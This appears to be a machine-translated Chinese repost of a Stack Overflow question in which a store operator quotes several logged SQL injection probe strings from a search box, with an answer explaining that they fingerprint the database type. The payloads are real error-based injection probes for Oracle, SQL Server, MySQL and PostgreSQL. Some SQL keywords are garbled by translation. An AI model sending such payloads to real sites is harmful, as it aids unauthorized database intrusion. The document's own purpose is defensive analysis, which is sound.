gpt4 book ai didi

商店搜索中的 SQL 注入(inject)模式

转载 作者:行者123 更新时间:2023-12-02 04:27:14 25 4
gpt4 key购买 nike

从今天凌晨开始,我们的电子商务商店中就收到了以下搜索查询。我了解它的SQL注入(inject)。我们还使用参数化查询。所以它没有造成任何伤害。但由于查询的长度全文搜索需要时间来处理并最终超时并且网站挂起了一段时间。

立即,我将搜索的最大承租人限制为 75,并添加了逻辑来检测 SQL 注入(inject)并防止其到达 SQL Server,以作为额外的安全性。

我们的环境:ASP.Net 电子商务网站具有全文搜索功能的 SQL Server 2012 Express DB。Windows 2012 标准服务器。

只是想知道搜索者试图理解/研究什么?或者他们只是想挂掉网站?在上述修复后可以安全地忽略吗?

下面给出了搜索词。 “输入型号或墨盒代码”是我们的默认搜索文本框文本。

输入型号或墨盒代码)AND 2895=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(97)||CHR (122)||CHR(113)||(SELECT (CASE WHEN (2895=2895) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(119)||CHR(99)|| CHR(121)||CHR(113)||CHR(62))) 来自双) 和 (9170=9170

输入型号或墨盒代码') AND 3733=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3733=3733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113))) AND ('KzHP' ='KzHP

输入型号或墨盒代码%' AND (SELECT 2396 FROM(SELECT COUNT(*),CONCAT(0x7170617a71,(SELECT (CASE WHEN (2396=2396) THEN 1 ELSE 0 END))),0x7177637971,FLOOR(RAND (0)*2))x 来自 INFORMATION_SCHEMA.CHARACTER_SETS 组 x)a) 和 '%'='

输入型号或墨盒代码%' AND 4201=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(97)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4201=4201) 那么 CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(119)+CHAR(99)+CHAR(121)+CHAR(113))) AND '%'= '

输入型号或墨盒代码') AND 6442=CAST((CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113))||(选择(情况为(6442=6442)则 1 ELSE 0 END))::text||(CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113))作为数字) AND ('iWJF'='iWJF

输入型号或墨盒代码 AND 3733=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3733) =3733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113)))-- ZgIZ

输入型号或墨盒代码)AND 6442=CAST((CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113))||(选择 ( CASE WHEN (6442=6442) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113)) AS数字)和(8167=8167

输入型号或墨盒代码 AND 3733=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3733) =3733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113)))

输入型号或墨盒代码 AND 6442=CAST((CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (6442=6442) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113)) AS NUMERIC )--CuDa

最佳答案

作为一名 SQL 注入(inject)专家,似乎这些只是了解 SQL 注入(inject)是否存在以及它是什么 DB 类型的通用查询。您可以看到,在某些情况下,他使用 CHR,这是 Oracle 的数字到字符的版本,在其他情况下,他使用 CHAR,这是其他数据库的函数名称(SQL Server),在另一种情况下,他解决了 INFORMATION_SCHEMA.CHARACTER_SETS table是MySQL中的一个表。他只是发送几个一般查询来查找注入(inject)和数据库类型。尽管如此,如果您的网站因此挂起,除了长度验证之外,您还应该对特殊字符(括号?)执行一些更好的输入验证

关于商店搜索中的 SQL 注入(inject)模式,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/26053665/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com